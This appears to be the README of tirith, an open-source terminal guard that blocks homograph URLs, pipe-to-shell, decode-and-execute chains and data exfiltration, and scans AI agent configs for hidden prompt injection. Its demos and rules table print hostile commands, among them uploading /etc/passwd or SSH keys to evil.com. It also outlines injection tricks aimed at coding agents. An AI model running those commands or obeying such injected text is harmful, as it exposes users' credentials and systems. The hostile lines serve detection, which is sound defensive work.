tirith

Your browser would catch this. Your terminal won't.

<sub>Independent open-source project, with hosting supported by the Vercel Open Source Program (Spring 2026 Cohort).</sub>

Can you spot the difference?

  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised

You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.

Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside.

Tirith stands at the gate. It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, malicious AI skills/configs, and known-bad packages/domains/IPs from a signed threat intelligence database before they execute.

bash
brew install tirith

Then activate in your shell profile:

bash
# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source

[!TIP]
eval "$(tirith init)" auto-detects your current shell (it inspects the parent process and falls back to $SHELL if needed). The explicit --shell flag is only required when you want to override the detection.

That's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you.

Also available via npm, cargo, mise, apt/dnf, and more.

See it work

Homograph attack, blocked before execution:

$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

The command never executes.

Pipe-to-shell with clean URL, warned, not blocked:

$ curl -fsSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
    Consider downloading first and reviewing.

Warning prints to stderr. Command still runs.

Base64 decode-execute chain, blocked:

$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Catches decode chains through sudo/env wrappers and PowerShell -EncodedCommand too.

Credential exfiltration, blocked:

$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration, Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server

Covers all curl/wget upload flags, env vars ($AWS_SECRET_ACCESS_KEY), and command substitution.

Malicious skill file, caught on scan:

$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Scans JS/Python files for obfuscated payloads, dynamic code execution, and secret exfiltration patterns.

Normal commands, invisible:

$ git status
$ ls -la
$ docker compose up -d

Nothing. Zero output. You forget tirith is running.

What it catches

221 detection rules across 34 categories.

Category	What it stops
Homograph attacks	Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains, text-level confusable detection (math alphanumerics, same-word mixed-script)
Terminal injection	ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors, Hangul fillers
Steganography defense	Invisible whitespace encoding (12 Unicode space variants), Mongolian Vowel Separator, Hangul Filler characters, math alphanumeric substitution, defenses against st3gg-style text steganography
Pipe-to-shell	`curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, every source-to-sink pattern
Base64 decode-execute	`base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, decode chains through sudo/env wrappers
Data exfiltration	`curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, env var uploads (`$AWS_SECRET_ACCESS_KEY`), command substitution exfil
Code file scanning	Obfuscated payloads (`eval(atob(...))`), dynamic code execution (`exec(b64decode(...))`), secret exfiltration via `fetch`/`requests.post` in JS/Python files
Credential detection	AWS keys, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm tokens, private key blocks, plus entropy-based generic secret detection
Post-compromise behavior	Process memory scraping (`/proc/*/mem`), Docker remote privilege escalation, credential file sweeps, calibrated against TeamPCP and UNC1069 post-compromise tooling
Command safety	Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access
Insecure transport	Plain HTTP piped to shell, `curl -k`, disabled TLS verification, shortened URLs hiding destinations
Environment	Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env
Config file security	Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive)
Ecosystem threats	Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured
Install-command safety	APT repos added from a piped download, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (disabled signature checks), `kubectl apply -f` against raw/shortened remote manifests, Helm charts from untrusted repos, Terraform modules from untrusted remote sources, `brew install`/`tap` from arbitrary URLs
Path analysis	Non-ASCII paths, homoglyphs in paths, double-encoding
Rendered content	Hidden CSS/color content, hidden HTML attributes, comment content analysis (prompt injection at High, destructive commands at Medium)
Cloaking detection	Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text
Windows / PowerShell	`Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender exclusions (`Add-MpPreference -Exclusion*`), inline `iex (iwr ...)` download-execute
Terminal output defense	OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink and title / clear-screen manipulation, prompt injection inside command or MCP tool output (scanned both raw and deobfuscated, so invisible-character, confusable, spaced-out, leetspeak, and short base64 / hex evasions are caught too), and output data exfiltration (beacon URLs or "read a secret then send it" directives)
Operational context	Destructive commands against labeled-prod cloud / k8s contexts and SSH hosts, Terraform / Pulumi / OpenTofu `apply` without a matching saved plan, risky sudo escalation, privileged `docker run`
Workstation & persistence	Loose-permission credential files and plaintext tokens (`~/.ssh`, `~/.aws`, `.npmrc`), persistence footholds (shell rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH-hijack ordering, executable provenance, risky aliases, and sensitive env-var lifecycle
Blast radius & correlation	Deletes that escape the repo, mass deletions, executing files downloaded from risky sources, and session chains such as secret-write then network or delete then `git push --force`
Trust, attestation & provenance	Signed command-card mismatch, canary honeytoken touches, paste source-host mismatch, caller-origin (agent) policy denials, MCP lockfile drift, and AI-config drift versus a known-safe snapshot

What tirith does NOT protect against

Tirith analyzes the structure of commands, pasted text, and files before
they execute. It is a pre-execution gate, not a runtime defense, and does not
cover:

Runtime sandboxing: tirith warns or blocks; it does not sandbox or isolate
a command once it runs.
Post-execution network monitoring: what a process does on the network after
launch is out of scope.
Malware / payload detection: tirith analyzes structure, not payload
behavior. It is not an antivirus and does not detonate or signature-match.
(tirith run checks a downloaded script's structure, still not malware
analysis.)
A privileged root/admin attacker: anyone already root or admin can bypass
tirith trivially. It defends against tricked input, not an attacker who already
owns the machine.
Anti-debugging / anti-tampering: tirith does not resist reverse engineering
or protect its own binary from a local attacker.

See docs/threat-model.md for the full threat model and
explicit non-goals.

Known limitations

Shell-hook fragility: protection depends on a shell hook staying installed
and active. Hooks can break or silently degrade across shells, shell versions,
prompt frameworks, and history tools. Run tirith doctor to check live state
and watch for warn-only degradation.
Unix-only features: daemon mode, tirith setup, tirith run, and
tirith fetch are Unix-only today.
Package-name extraction scope: covers language ecosystems (pip,
npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro
package managers (apt, dnf, yum, pacman).
AI-agent caveats: shell-hook interception only guards commands that go
through a hooked interactive shell. An agent that spawns a non-interactive
shell, calls exec directly, or runs without the hook loaded is not covered.
MCP protection is advisory (the agent must call the tirith MCP tools), not
enforced.

Threat intelligence

Tirith ships a signed local threat database for package, hostname, and IP reputation. When a shell hook or tirith check sees a package install or suspicious infrastructure reference, it matches that input against the database before the command executes, instead of relying only on static heuristics.

Signed DB (built daily by CI, verified on download and load):

Known-malicious packages from OpenSSF Malicious Packages and Datadog Security Labs
Malicious IP infrastructure from Feodo Tracker (abuse.ch)
Confirmed typosquats and popular-package baselines from ecosyste.ms
CISA Known Exploited Vulnerabilities catalog for runtime advisory correlation

Optional supplemental feeds (user-local overlay):

URLhaus and ThreatFox via an abuse.ch auth key
PhishTank (Cisco Talos) and Phishing Army blocklists
Tor exit node list from Tor Project

Optional live enrichment during tirith check and daemon mode:

OSV.dev advisory lookups (Google OSS)
deps.dev package health signals (Google OSS) and ecosyste.ms maintainer data
Google Safe Browsing URL reputation with your own API key

bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

By default, shell hooks and tirith check trigger a cheap background refresh check every 24 hours. Daemon mode keeps the same enrichment path warm in the background.

threat-db explain accepts a domain, a package name (name, ecosystem:name, or name@version), or an IPv4 address. The binary retains no per-entry history, so threat-db diff reports category and per-source count deltas between snapshots, not the exact entries changed. Every threat-db command takes --format json; threatdb is an alias.

Package risk scoring

tirith package risk <ecosystem> <name> scores a package's supply-chain / maintainer risk the way tirith score scores a URL, a deterministic, fully explainable sum of named factors, no model and no learned weights. tirith package explain <ecosystem> <name> adds the factor-by-factor derivation; both take --format json.

bash
tirith package risk npm react           # 0/100, a known-popular package
tirith package risk npm reqeusts        # high, one edit from a popular name
tirith package explain pypi flask       # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react  # also consult the registry API

Offline by default. With no flags, every signal is local, with no network call: (1) name vs. popular packages: known-popular, unknown, or a one-edit near-miss of a popular name (the classic typosquat/slopsquat shape), from the local threat database's popular set; (2) known malicious typosquat: an exact match in the threat DB's typosquat index; (3) install / lifecycle scripts and (4) bundled binary blobs, detected only when the package content is locally available (under node_modules / site-packages, or via --path). tirith never downloads the package.

--online adds registry provenance. It consults the package's registry (npm, PyPI, or crates.io) for six more factors in the same factor-sum model: package/version age, an established package with no owners, an abnormal version spike, very low downloads, a missing source repo, and yanked/deprecated status. It is the only path that touches the network (never the check hot path); --offline / TIRITH_OFFLINE force offline regardless. Failures fall back to the offline score with an honest api signals: unavailable, and responses are cached with a TTL so repeated runs do not hammer the registries.

The score is advisory and standalone: package risk is not a detection rule and changes no verdict, exit code, or audit log.

Ecosystem scan, supply-chain firewall

tirith ecosystem scan [path] is the directory-level companion to package risk. It walks a project, discovers every dependency manifest it understands, npm (package.json, package-lock.json), Python (requirements*.txt, pyproject.toml), Rust (Cargo.toml), Go (go.mod), Ruby (Gemfile), and scores every declared dependency with the same deterministic package_risk factor engine.

bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

It folds in slopsquat detection. Slopsquatting is the registration of a plausible-but-fake name that LLMs tend to hallucinate as a dependency. ecosystem scan flags one only when all three hold: the name is not known-real or popular, it is shaped like an AI hallucination (a language prefix like python- / node- plus descriptive tokens, a stack of generic filler like helper / utils / client, or an unusually long name), and it sits near a real popular name (a one-edit near-miss, or it embeds a popular name as a word). Requiring all three keeps false positives low: an honest data-utils with no popular anchor does not fire.

Offline by default, opt-in --online. Name and typosquat signals come from the local threat database; --online adds registry provenance, gated and degraded exactly as package risk --online, never on the check hot path. Findings flow through tirith's normal Verdict / Finding model: explainable (tirith explain --rule threat_suspicious_package), audit-logged, and respecting the policy allowlist (an allowlisted package, by bare name or ecosystem:name, is suppressed). Exit codes match tirith scan: 1 for a blocking finding, 2 for advisory, 0 when clean.

This helps catch known-malicious packages, confirmed typosquats, slopsquatted package names, malicious download infrastructure, and packages with live OSV / CISA KEV advisory data.

Attack families tirith is built for (illustrative, not a caught-by-current-code claim):

Incident	Year	Attack shape
Shai-Hulud npm worm	2025	Self-propagating package malware; exfiltrated GitHub tokens and AWS keys from 180+ packages, published findings to public `Shai-Hulud` repos
Slopsquatting	2023 to ongoing	Attackers register LLM-hallucinated package names on npm / PyPI / crates.io; USENIX 2025 found 58% of hallucinated names repeat across runs
Team PCP / UNC1069 tooling	ongoing	Post-compromise credential sweeps, `/proc/*/mem` scraping, Docker privilege escalation
colors.js / faker.js sabotage	2022	Author self-sabotage of widely-used packages
event-stream compromise	2018	Transferred ownership to attacker; payload targeted Bitcoin wallets

Package-name extraction currently covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro-level package managers (apt / dnf / yum / pacman). That's why xz-utils, which entered through Linux distro tarballs, is not in the table despite being a headline incident.

AI agent security

Tirith protects AI coding agents at every layer, from the configs they read to the commands they execute.

Shell hooks, passive command interception

When AI agents execute shell commands (Claude Code, Codex, Cursor, etc.), tirith's shell hooks intercept every command before it runs. No agent-side configuration needed, if the hook is active in the shell, all commands are guarded:

Blocks dangerous commands: homograph URLs, pipe-to-shell, insecure downloads
Blocks malicious paste: ANSI injection, bidi attacks, hidden multiline in pasted content
Works with every agent: any tool that spawns a shell inherits tirith protection
Zero agent modification: the agent doesn't know tirith exists until a command is blocked

Use tirith setup <tool> for one-command configuration (see AI Agent Integrations).

MCP server (7 tools)

Run tirith mcp-server or use tirith setup <tool> --with-mcp to register tirith as an MCP server. AI agents can call these tools before taking action:

Tool	What it does
`tirith_check_command`	Analyze shell commands for pipe-to-shell, homograph URLs, env injection
`tirith_check_url`	Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs
`tirith_check_paste`	Check pasted content for ANSI escapes, bidi controls, zero-width chars
`tirith_scan_file`	Scan a file for hidden content, invisible Unicode, config poisoning
`tirith_scan_directory`	Recursive scan with AI config file prioritization
`tirith_verify_mcp_config`	Validate MCP configs for insecure servers, shell injection in args, wildcard tools
`tirith_fetch_cloaking`	Detect server-side cloaking (different content for bots vs browsers)

MCP server governance

tirith mcp lock captures every MCP server a repository declares, across .mcp.json / mcp.json / mcp_settings.json and the IDE config variants (.vscode/, .cursor/, .windsurf/, .cline/, .amazonq/, .continue/, .kiro/), into a deterministic lockfile at .tirith/mcp.lock. Each server is recorded with its transport (a remote URL, or a local command + args), declared tools, and a content hash; servers are sorted by name so the lockfile is diff-friendly. Discovery is repo-local only and touches no network. (tirith mcp is a separate command group from tirith mcp-server, which runs tirith as an MCP server.)

tirith mcp verify is the gating companion: it rebuilds the current inventory against the committed lockfile and exits 1 on drift (0 match, 2 on usage errors like a missing lockfile). tirith mcp diff reports the same drift informationally (always exit 0, 2 only on usage errors, so a consumer can tell "no drift" from "could not check"). Drift also surfaces through tirith scan as mcp_server_drift (Medium), so a pre-commit hook or CI catches an MCP-surface change the way it catches an un-pinned action. verify / diff never print env values or URL userinfos, only the names of what changed.

Two policy fields govern what is accepted: scan.trusted_mcp_servers suppresses a server's config findings and silences its drift, and scan.mcp_allowed_tools declares the exact tools each server may expose (a tool outside that set surfaces a High mcp_server_drift finding, and drift adding such a tool upgrades Medium to High). tirith mcp policy init scaffolds both blocks from the current lockfile into .tirith/mcp-policy.yaml.example, every entry commented out so importing never silently widens trust.

Config file scanning

tirith scan detects prompt injection and hidden payloads in AI config files. It prioritizes and scans 50+ known AI config file patterns:

.cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md
.claude/ settings, agents, skills, plugins, rules
.cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/ configs
mcp.json, .mcp.json, mcp_settings.json
.github/copilot-instructions.md, .github/agents/*.md

What it catches in configs:

Prompt injection (skill activation triggers, permission bypass attempts, safety dismissal, identity reassignment, cross-tool override instructions). Each file is scanned both raw and deobfuscated (invisible characters, confusables, inter-character spacing, leetspeak, short base64 / hex), so a seed hidden behind encoding still fires
Invisible Unicode: zero-width characters (including Mongolian Vowel Separator), bidi controls, soft hyphens, Unicode tags, Hangul fillers, invisible whitespace encoding, math alphanumeric confusables
MCP config issues: insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access

CI / repo supply-chain scanning

tirith scan also inspects the files a repo checks in to describe its own build and deploy pipeline. It detects the dangerous pattern, not the tool: a SHA-pinned action, a digest-pinned image, a local Terraform module, and a normal package.json stay clean.

What it catches in CI / infrastructure files:

GitHub Actions workflows (.github/workflows/*.yml), an action uses: reference pinned to a mutable ref (@v3, @main) instead of a commit SHA; the pull_request_target trigger; a curl … | bash pipe-to-shell in a run: step; an attacker-controllable ${{ github.event.* }} value interpolated into a run: shell step (script injection)
Dockerfiles: a FROM base image on the mutable latest tag (or no tag) with no @sha256: digest pin
Terraform (*.tf), a module block sourced from a remote / untrusted location rather than a local path or the Terraform Registry
Helm charts (Chart.yaml), a chart dependency from an untrusted chart repository
package.json: a preinstall / install / postinstall lifecycle script that runs a dangerous command (pipe-to-shell, obfuscated payload, download-and-run); these hooks run automatically on npm install

Three built-in --profile values tune the scan: ci-hardening (every check at full strength, fail-on high), ai-agent-repo (keeps injection findings, drops low-value pinning-hygiene noise), and oss-maintainer (emphasises contributor-controllable risk when reviewing a change).

bash
tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif

Hidden content detection

Detects content invisible to humans but readable by AI in HTML, Markdown, and PDF:

CSS hiding: display:none, visibility:hidden, opacity:0, font-size:0, off-screen positioning
Color hiding: white-on-white text, similar foreground/background (contrast ratio < 1.5:1)
HTML/Markdown comments: prompt injection phrases (High), destructive commands like rm -rf or curl|bash (Medium), long comments hiding instructions (Low)
PDF hidden text: sub-pixel rendered text (font-size < 1px) invisible to readers but parseable by LLMs

AI-relevant file hidden-content scanning

tirith scan also inspects file types an AI coding agent (or a renderer) reads and acts on, looking for content smuggled past a human reviewer. A normal notebook, an ordinary CLAUDE.md with visible instructions, and a plain SVG image stay clean, only hidden / smuggled content fires.

Jupyter notebooks (*.ipynb), invisible / bidi / zero-width characters in cell source, a base64-encoded blob embedded in source, a cell hidden from the rendered view (metadata.jupyter.source_hidden / a hide_input tag), and cell outputs carrying invisible characters or active / hidden HTML
AI agent-instruction files (CLAUDE.md, AGENTS.md, .cursorrules, and similar), hidden directives only: an instruction inside an HTML comment (invisible in rendered Markdown) or a visually-hidden HTML element. These files legitimately contain visible instructions, so ordinary visible instructions never fire
SVG images (*.svg), an embedded <script>, an inline on* event handler, a javascript: URI, a remote xlink:href / href, or an XXE external-entity declaration

Cloaking detection

tirith fetch compares server responses across 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) to detect when servers serve different content to AI bots vs browsers.

Operational context & workstation guards

Beyond single commands, several command groups extend the gate to your operating context and workstation state. The ones that touch the hot path are opt-in (a policy flag); the rest run on demand.

Operational context (tirith context, ssh, iac, sudo). Label your prod cloud / Kubernetes contexts and SSH hosts once, and tirith escalates what matters: a destructive command against a labeled-prod context, an SSH to a labeled-prod host, a Terraform / Pulumi / OpenTofu apply with no matching saved plan, or a sudo escalation without a reasoned session window. Labels live in ~/.config/tirith/context-labels.yaml and ssh-host-labels.yaml (or repo-scoped under .tirith/).

Workstation hygiene (tirith hygiene, persistence, aliases, env, exec, path, hooks). Scan for loose-permission credential files and plaintext tokens (~/.ssh, ~/.aws, ~/.kube, .npmrc, .pypirc), diff the persistence footholds an attacker uses (shell rc, authorized_keys, crontab, LaunchAgents / systemd-user units, git core.hooksPath), flag aliases that shadow critical commands or read credentials, audit $PATH for hijack ordering, and report a binary's provenance (package owner, code signature, whether it shadows a system command).

Blast radius & isolation (tirith preview, watch, temp-run, taint, intend, baseline). Preview the filesystem impact of a destructive command before you run it, diff what a command actually changed afterward, run an untrusted command in a throwaway directory, and track files downloaded from risky sources so executing one later fires a finding. temp-run changes only the working directory; it is file isolation, not a sandbox.

Trust, attestation & incident response

Command attestations (tirith command-card) sign a known-good command with an ed25519 key; a trusted card that no longer matches the command fires High.
Repo command manifest (tirith commands) is a .tirith/commands.yaml allowlist that quiets the unknown-command note for cleared commands and adds an elevation-only dangerous[] list (it can tighten a verdict, never weaken one).
Honeytokens (tirith canary) plant clearly-synthetic canary tokens; a touch in any checked command, paste, or tool output fires High. Detection is a local store lookup, not a shape match.
Secret rotation (tirith secret) reads recent credential findings from your audit log and prints provider-specific rotate / revoke steps for 11 providers. It never rotates anything itself and makes no network calls.
Incident mode (tirith incident) declares an "under attack" posture: it forces fail_mode: closed, disables the TIRITH=0 bypass, and elevates the credential-sweep, decode-execute, and suspicious-binary rules until you stop it.

Output-direction defense (tirith view, tirith output, gateway run --filter-output, mcp-server --sanitize-tool-output) neutralizes terminal-deception escapes in command and MCP tool output: OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink mismatch, and title / clear-screen manipulation. It also scans output for prompt injection (raw and deobfuscated) and data-exfiltration beacons. Add custom seeds with injection_seeds_custom, and opt in to redacting an injection-only MCP block to a warning (instead of blocking the whole output) with mcp_redact_injection.
Audience-aware redaction (tirith share, tirith redact, tirith logs) strips secrets and customer / tenant IDs before you paste into a GitHub issue, Slack, an LLM, or a public paste.
Paste provenance (tirith paste --with-source, tirith browser). With the companion Chrome native-messaging host installed, tirith attributes a pasted command to its source page and flags a paste whose source host differs from where the command runs.

Install

macOS

Homebrew:

bash
brew install tirith

Linux Packages

Debian / Ubuntu (.deb):

Download from GitHub Releases, then:

bash
sudo dpkg -i tirith_*_amd64.deb

Fedora / RHEL / CentOS 9+ (.rpm):

Download from GitHub Releases, then:

bash
sudo dnf install ./tirith-*.rpm

Arch Linux (AUR):

bash
yay -S tirith
# or: paru -S tirith

Nix:

bash
nix profile install nixpkgs#tirith              # from nixpkgs
nix profile install github:sheeki03/tirith      # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version

Android (Termux)

Android/Termux runs on Bionic libc, not glibc, so the aarch64-unknown-linux-gnu
build cannot run there, it needs glibc's dynamic linker. Use the musl build
instead: tirith-aarch64-unknown-linux-musl.tar.gz is statically linked and runs
on Termux without an external libc.

bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version

Then activate the shell hook in ~/.bashrc (Termux's default shell is bash):

bash
eval "$(tirith init --shell bash)"   # add to ~/.bashrc

[!NOTE]
Termux support is best-effort. The musl artifact is built and smoke-tested in
CI, but tirith is not yet continuously tested on a real Android device.
If a hook misbehaves under Termux, please open an issue with tirith doctor
output.

Windows

All core features work on Windows including detection, scanning, webhooks, policy management, and audit uploads. Shell hooks support PowerShell. Daemon mode and tirith setup are Unix-only for now.

Scoop:

powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey (under moderation, pending approval):

powershell
choco install tirith

Cross-Platform

npm:

bash
npm install -g tirith

Cargo:

bash
cargo install tirith

Mise (official registry):

bash
mise use -g tirith

asdf:

bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

Docker:

bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

Activate

Add to your shell profile (.zshrc, .bashrc, or config.fish):

bash
eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish

Shell	Hook type	Tested on
zsh	preexec + paste widget	5.8+
bash	preexec (two modes)	5.0+
fish	fish_preexec event	3.5+
PowerShell	PSReadLine handler	7.0+

Bash uses enter mode when a capability self-test has proven it works for your bash, and preexec otherwise. tirith setup / tirith doctor run the self-test; the shell hook reads its cached verdict at startup. See troubleshooting for details on the modes, the self-test, and SSH fallback behavior.

[!WARNING]
Bash's preexec mode warns but cannot block in-place. Set TIRITH_BASH_PREEXEC_ENFORCE=1 for real blocking via shopt -s extdebug. Enforcement refuses to activate when HISTCONTROL contains ignorespace / ignoredups / ignoreboth, any HISTIGNORE is set, or set +o history is active, those make the block racy.

Enforcement by shell

Shell	Behavior
bash enter mode	Reliable blocking. Binds Enter; can stop a command before bash commits to running it. Used by default only where a capability self-test (`tirith doctor --simulate-enter`) has proven `bind -x` delivery works for the running bash.
bash preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`	Conditional blocking. Uses `shopt -s extdebug`; blocks when bash's `history` can provide a trustworthy whole-line view. Downgrades to warn-only when history is filtered (`HISTCONTROL=ignorespace/ignoredups/ignoreboth`, any `HISTIGNORE`, or `set +o history`) or an alias / command substitution / `eval` makes the typed line drift from `BASH_COMMAND`.
bash preexec (no enforce flag)	Warn-only. Prints a DETECTED banner on risky commands; does not block. The fallback when the enter-mode self-test has not proven delivery works.
zsh, fish, powershell	Reliable blocking via native preexec hooks.
nushell	Warn-only (does not currently support command interception).

For guaranteed line-level blocking on bash, run tirith doctor --simulate-enter, if delivery works, enter mode is enabled. Where it does not, use preexec enforce for "blocks when possible; tells you honestly when it can't."

Nix / Home-Manager: tirith must be in your $PATH, the shell hooks call tirith by name at runtime. Adding it to initContent alone is not enough.

nix
home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

Updating and verifying tirith

tirith can verify its own integrity and update itself. Both commands reach the network only when you run them.

bash
tirith verify-self          # is this binary the genuine, unmodified release?
tirith update               # update to the latest release
tirith version --provenance # version, build info, install method, verification

tirith verify-self confirms the running binary is the genuine, unmodified binary from an official release. It re-downloads the release archive for your version and target, verifies it against the signed release checksums.txt, verifies the cosign signature over checksums.txt when cosign is installed, and confirms the running binary is byte-identical to the official one. If full verification is not possible, a local dev build, no network, an install tirith cannot identify, it says so honestly rather than reporting a false "verified". With cosign absent the checksum is still verified (reported as verified-checksum-only); install cosign for full signature verification (verified-signed).

tirith update is package-manager-aware:

Package-manager installs (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) are never self-modified. tirith prints the exact command to run instead, e.g. brew upgrade tirith. Updating through the package manager keeps its database consistent.
Self-managed installs (the install.sh tarball, or a standalone binary) are updated in place: tirith downloads the latest release, verifies it, then atomically swaps the binary, keeping the previous one as a tirith.tirith-previous sidecar. The cosign signature is verified by default: if it cannot be verified (cosign missing, or the release published no signature) the update aborts. Pass --allow-unsigned to fall back to checksum-only verification; a checksum mismatch always aborts regardless. tirith update --rollback reverts to the previous binary; --dry-run shows what would happen without changing anything.

[!NOTE]
The install scripts (scripts/install.sh and the Windows install.ps1) also verify the release's cosign signature by default and abort if cosign is missing or the signature cannot be verified. Install cosign first, or set TIRITH_ALLOW_UNSIGNED=1 to install with checksum-only verification (not recommended). A checksum or signature mismatch always aborts regardless of this opt-out.

Shell Integrations

Oh-My-Zsh:

bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

AI Agent Integrations

Use tirith setup <tool> for one-command configuration:

bash
tirith setup claude-code --with-mcp   # Claude Code + MCP server
tirith setup codex                    # OpenAI Codex
tirith setup copilot-cli              # GitHub Copilot CLI (run from repo root)
tirith setup cursor                   # Cursor
tirith setup gemini-cli --with-mcp    # Gemini CLI + MCP server
tirith setup kiro                     # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli                   # Pi CLI
tirith setup vscode                   # VS Code
tirith setup windsurf                 # Windsurf

For manual configuration, see mcp/clients/ for per-tool guides.

CI/CD Integration

GitHub Action with SARIF upload to GitHub Security tab:

yaml
- uses: sheeki03/tirith@v1
  with:
    fail_on: high
    sarif: true

Also available as a pre-commit hook: see .pre-commit-hooks.yaml in this repo.

Scan supports --include, --exclude, --profile (loads named profiles from policy), and --ignore filters for targeted CI scanning.

Rule Documentation

bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

Remediation, "what to run instead"

Every finding carries a per-rule remediation: a short, accurate "how to make
this safe" line, shown under each finding (Fix:) and in --format json.
tirith explain --rule <id> --fix prints that remediation on its own.

When a command is blocked or warned, tirith check --suggest
additionally prints a concrete safer rewrite of the actual command, but only
where a transformation is genuinely safer and correct:

bash
tirith check --suggest -- 'curl https://example-cli.dev/i.sh | bash'
# → try: curl -fsSL -o /tmp/tirith-review.sh https://example-cli.dev/i.sh \
#        && less /tmp/tirith-review.sh && bash /tmp/tirith-review.sh

It rewrites pipe-to-shell into download-review-run, drops insecure-TLS flags
(-k / --insecure / --no-check-certificate), and switches plain http://
to https://. For findings with no safe mechanical rewrite (homograph
hostnames, archive-extract targets, …) it says so plainly and shows the
remediation instead, it never emits a bogus suggestion. The flag is advisory:
it changes neither the verdict nor the exit code.

Daemon Mode (Unix)

Optional background process for sub-millisecond latency and network-aware enrichment (shortened URL resolution, DNS blocklist checks):

bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

[!NOTE]
Daemon mode is Unix-only today.

Commands

The everyday commands:

Command	What it does
`tirith check -- <cmd>`	Analyze a command without executing it (`--suggest` adds a safer rewrite)
`tirith paste`	Check pasted content (called automatically by shell hooks)
`tirith scan [path]`	Scan files, directories, and configs (`--profile`, `--format sarif`, `--ci`)
`tirith run <url>`	Safe `curl \| bash` replacement: download, analyze, review, then execute (Unix)
`tirith fix -- <cmd>`	Interactively rewrite a risky command into a safer form
`tirith score <url>` / `diff <url>`	Break down a URL's trust signals, or show where suspicious characters hide
`tirith explain --rule <id>` / `why`	Rule docs and remediation, or explain the last trigger
